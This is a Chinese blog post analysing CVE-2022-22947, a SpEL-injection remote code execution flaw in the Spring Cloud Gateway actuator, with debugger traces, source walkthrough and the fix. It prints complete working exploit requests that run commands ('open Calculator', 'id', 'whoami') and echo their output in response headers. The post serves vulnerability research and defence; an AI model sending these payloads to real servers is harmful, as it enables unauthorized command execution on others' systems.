SpringCloudGatewayactuator组建对外暴露RCE问题漏洞分析

博客 动态
0 367
羽尘
羽尘 2022-03-09 16:56:22
悬赏:0 积分 收藏

Spring Cloud Gateway actuator组建对外暴露RCE问题漏洞分析

  Spring Cloud gateway是什么?

Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关。网关作为流量的,在微服务系统中有着非常作用,网关常见的功能有路由转发、权限校验、限流控制等作用

   漏洞描述:

  

当启用、暴露和不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。

 

 漏洞复测:

  

 

 

 

  

POST /actuator/gateway/routes/test1 HTTP/1.1Host: 127.0.0.1:8889Pragma: no-cacheCache-Control: no-cachesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"Sec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8889/actuator/Content-Type:application/jsonContent-Length: 184{"id":"test1","filters":[    {        "name":"RewritePath",        "args":{                "test":"#{T(java.lang.Runtime).getRuntime().exec(\"open /System/Applications/Calculator.app\")}"    }    }]}

 

刷新触发请求:

 

 

 

 

POST /actuator/gateway/refresh HTTP/1.1Host: 127.0.0.1:8889Pragma: no-cacheCache-Control: no-cachesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"Sec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8889/actuator/Content-Type:application/json

 

直接触发rce:

 

 

 

 从0开始漏洞分析:

  漏洞预警:https://tanzu.vmware.com/security/cve-2022-22947

  受影响的版本锁定:

Spring Cloud Gateway3.1.03.0.0 to 3.0.6Older, unsupported versions are also affected

 

   

 

 

 

  

  直接去github查看:

  看diff,对比:    

  https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split

  全局搜索.java等关键字:

  关键代码位置:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

  https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split#diff-7aa249852020f587b35d07cd73c39161c229700ee1e13a9a146c114f542083bc

  

 

 

 

  通过代码,很容易看出来,这是spel注入,符合前面漏洞预警说的代码注入:

  

 

 

 

  

 现在sink找到了,就差source,看情况是这样子的

 除了这样找sink,还可以通过commit查看,无需对比,一样是关键字搜索:

 拉到漏洞修复版本:https://github.com/spring-cloud/spring-cloud-gateway/commits/v3.1.1

  

 

 

 

  看到spel,盲猜spel注入,跟进去看看:

  https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b

  

 

 

 

  

好了,下面开始第二步分析,从下往上找,目前已基础判断出sink为spel注入,从下往上走:

漏洞环境搭建好了,所以我直接去idea里面打开路径:

spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

idea里面对应的路径:

springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ShortcutConfigurable.class:

可通过Structure查看结构体:

在这里调度出来:

  

 

 

 

 

 

 

  

  这里直接在sink文件断一刀:

  42行

  

 

 

 

  重启服务打exp:

  

 

 

 

 断下来了,拿到利用链:

  

getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support)normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)apply:-1, 872736196 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$769)onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:8469, Flux (reactor.core.publisher)onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)request:230, FluxIterable$IterableSubscription (reactor.core.publisher)onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:8469, Flux (reactor.core.publisher)onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)request:230, FluxIterable$IterableSubscription (reactor.core.publisher)onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)subscribeWith:4515, Mono (reactor.core.publisher)subscribe:4371, Mono (reactor.core.publisher)subscribe:4307, Mono (reactor.core.publisher)subscribe:4279, Mono (reactor.core.publisher)onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)publishEvent:421, AbstractApplicationContext (org.springframework.context.support)publishEvent:378, AbstractApplicationContext (org.springframework.context.support)refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)apply:-1, 290554969 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$861)trySubscribeScalarMap:152, FluxFlatMap (reactor.core.publisher)subscribeOrReturn:53, MonoFlatMap (reactor.core.publisher)subscribe:57, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribeNext:236, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)onComplete:203, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)onComplete:181, MonoFlatMap$FlatMapMain (reactor.core.publisher)complete:137, Operators (reactor.core.publisher)subscribe:120, MonoZip (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)subscribe:51, MonoIgnoreThen (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)onNext:157, MonoFlatMap$FlatMapMain (reactor.core.publisher)onNext:74, FluxSwitchIfEmpty$SwitchIfEmptySubscriber (reactor.core.publisher)onNext:82, MonoNext$NextSubscriber (reactor.core.publisher)innerNext:282, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)onNext:863, FluxConcatMap$ConcatMapInner (reactor.core.publisher)onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)request:2398, Operators$ScalarSubscription (reactor.core.publisher)request:139, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)request:169, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)set:2194, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)onSubscribe:2068, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)onSubscribe:96, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)onSubscribe:152, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)subscribe:55, MonoJust (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)drain:451, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)onSubscribe:219, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)subscribe:51, MonoIgnoreThen (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:55, MonoDeferContextual (reactor.core.publisher)onStateChange:967, HttpServer$HttpServerHandle (reactor.netty.http.server)onStateChange:677, ReactorNetty$CompositeConnectionObserver (reactor.netty)onStateChange:478, ServerTransport$ChildObserver (reactor.netty.transport)onInboundNext:570, HttpServerOperations (reactor.netty.http.server)channelRead:93, ChannelOperationsHandler (reactor.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)channelRead:220, HttpTrafficHandler (reactor.netty.http.server)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel)fireChannelRead:327, ByteToMessageDecoder (io.netty.handler.codec)channelRead:299, ByteToMessageDecoder (io.netty.handler.codec)channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)processSelectedKey:722, NioEventLoop (io.netty.channel.nio)processSelectedKeysOptimized:658, NioEventLoop (io.netty.channel.nio)processSelectedKeys:584, NioEventLoop (io.netty.channel.nio)run:496, NioEventLoop (io.netty.channel.nio)run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent)run:74, ThreadExecutorMap$2 (io.netty.util.internal)run:30, FastThreadLocalRunnable (io.netty.util.concurrent)run:748, Thread (java.lang)

 

    

最上层是触发sink结束了

往下看几层:

调度了ShortcutType.DEFAULT枚举重写的normalize方法:

这是方法,下一层就是调用了:

org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ConfigurationService.class

protected Map<String, Object> normalizeProperties() {           return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties();        }

 

 

 

 

查看属性value:

 

 

 

 

 

 

其中的key和value就是我们的fiter里面的属性内容:

 

 

 

再往下看一层:

name为我们自定义的RewritePath

 

 

 

结论:引用y4er大佬的话:

这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后 进入getValue执行SPEL表达式造成SPEL表达式注入。

现在是有exp,所以分析出来的,漏洞原理也了解了!但是还是有些点没理解清楚,需要我们刨根问底:

 

  一些疑惑点:

(1)参数传递为什么是这样的?

(2)name设置为RewritePath,为什么要这样设置?

 

 

 

 

 

  漏洞原理正向分析:

 

真的想彻底理解漏洞,更需要用户贴近业务:

查看官方文档介绍说明:

https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

关键点在这里,官方文档说明可以使用这个接口去创建和删除特定路由:

 

 

 

 

那说明我们的spring cloud下是存在/routes/这个目录的,以开发经验来看,一般路径申明都在controller层,简单搜索下利用堆栈下的关键字:

 

 

 

refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)

 

去这个函数去看看

完全一致:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class

 

 

 

 

这个就是我们的source,现在又回到了老问题,这个source是怎么触发到sink的?

因为代码量不是很大,直接拿出来分析:

@PostMapping({"/routes/{id}"})    public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) {        return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> {            return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {                r.setId(id);                log.debug("Saving route: " + route);                return r;            })).then(Mono.defer(() -> {                return Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build());            }));        }).switchIfEmpty(Mono.defer(() -> {            return Mono.just(ResponseEntity.badRequest().build());        }));    }

 

先看可控点:

@PathVariable String id, @RequestBody RouteDefinition route

 

路径就是自定义的id,这个不用管,跟进RouteDefinition类:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/route/RouteDefinition.class

 

 

 

可以这里面定义了好几个集合,有List的,也有Map的

随便找个继续跟集合的返回类,发现套娃好几层呢:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/FilterDefinition.class

 

 

 

这就是走到底的了,会发现他是name+agrs集合

这样就对上了:

 

 

 

 

 

 

 

现在要分析的是RewritePath哪里来的:

继续回到代码:

return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> {            return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {

 

发现我们可控的变量进入了这个函数了,比较重要的就是flatMap了,这玩意和map类似,不同的是其每个元素转换得到的是Stream对象,会把子Stream中的元素压缩到父集合中, 人话就是后面的是压缩的子元素,前面的返回的是压缩后的父元素

跟进this::validateRouteDefinition:

 

 

 

在这个方法下下个断点:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class

 

 

 

 

anyMatch:判断的条件里,任意一个元素成功,返回true

allMatch:判断条件里的元素,所有的都是,返回true

noneMatch:与allMatch相反,判断条件里的元素,所有的都不是,返回true

看着难看,利用Evuluate循环打印:

for(int i=0;i<this.GatewayFilters.size();i++){    System.out.println(GatewayFilters.get(i).name());}

 

 

 

就是这些:

AddRequestHeaderMapRequestHeaderAddRequestParameterAddResponseHeaderModifyRequestBodyDedupeResponseHeaderModifyResponseBodyCacheRequestBodyPrefixPathPreserveHostHeaderRedirectToRemoveRequestHeaderRemoveRequestParameterRemoveResponseHeaderRewritePathRetrySetPathSecureHeadersSetRequestHeaderSetRequestHostHeaderSetResponseHeaderRewriteResponseHeaderRewriteLocationResponseHeaderSetStatusSaveSessionStripPrefixRequestHeaderToRequestUriRequestSizeRequestHeaderSize

 

可以看到我们的RewritePath就在其中

  修复方案:

  修改为StandardEvaluationContext为SimpleEvaluationContext

spel注入类常见的有两种:

StandardEvaluationContext 更加灵活 SimpleEvaluationContext 安全的,有限制的

 

 

 

不出网的话,我们上面的方法就不是很好使,需要调试出回显方法?

网上出了好多回显示案例,找一个复测下:

spring cloud回显测试:

 

 

 

POST /actuator/gateway/routes/greetdawn HTTP/1.1Host: 127.0.0.1:8889User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: enContent-Type: application/jsonConnection: closeContent-Length: 332{  "id": "greetdawn",  "filters": [{    "name": "AddResponseHeader",    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}  }],"uri": "http://example.com","order": 0}}

 

刷新:

 

 

 

访问创建的路由地址:

GET /actuator/gateway/routes/greetdawn HTTP/1.1Host: 127.0.0.1:8889User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: enConnection: close

 

 

 

  spring cloud gateway 回显原理分析:

  /org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/factory/AddResponseHeaderGatewayFilterFactory.class

 

 

把配置内容,添加到了响应请求头

 除了这个还有很多,找类似点,发现当name为:

  

AddRequestHeaderAddRequestParameterAddResponseHeaderSetRequestHeader..........

 

任意一个,均可以回显

 

 

 

POST /actuator/gateway/routes/SetRequestHeader HTTP/1.1Host: 127.0.0.1:8889User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: enContent-Type: application/jsonConnection: closeContent-Length: 293{  "id": "After",  "filters": [{    "name": "SetRequestHeader",    "args": {"name": "SetRequestHeader","value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/bash', '-c', 'whoami').start().getInputStream()).next()}"}  }],"uri": "http://example.com","order": 0}}

 

刷新:

 

 

访问:

 

 

 

漏洞批量检测:

nuclei上看到有人提了相关检测方法:

https://github.com/wdahlenburg/nuclei-templates/blob/06db2450edaa2de7c371c2bf31226109ecb5e6c1/misconfiguration/springboot/springboot-gateway.yaml

 

 

技术参考:

(1)y4er p师傅知识星球

(2)spring cloud文档:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

(3)最好的spel注入学习文章:https://cryin.github.io/blog/SpEL injection/

posted @ 2022-03-09 16:51 飘渺红尘? 阅读(0) 评论(0) 编辑 收藏 举报
回帖
    羽尘

    羽尘 (王者 段位)

    2335 积分 (2)粉丝 (11)源码

     

    温馨提示

    亦奇源码

    最新会员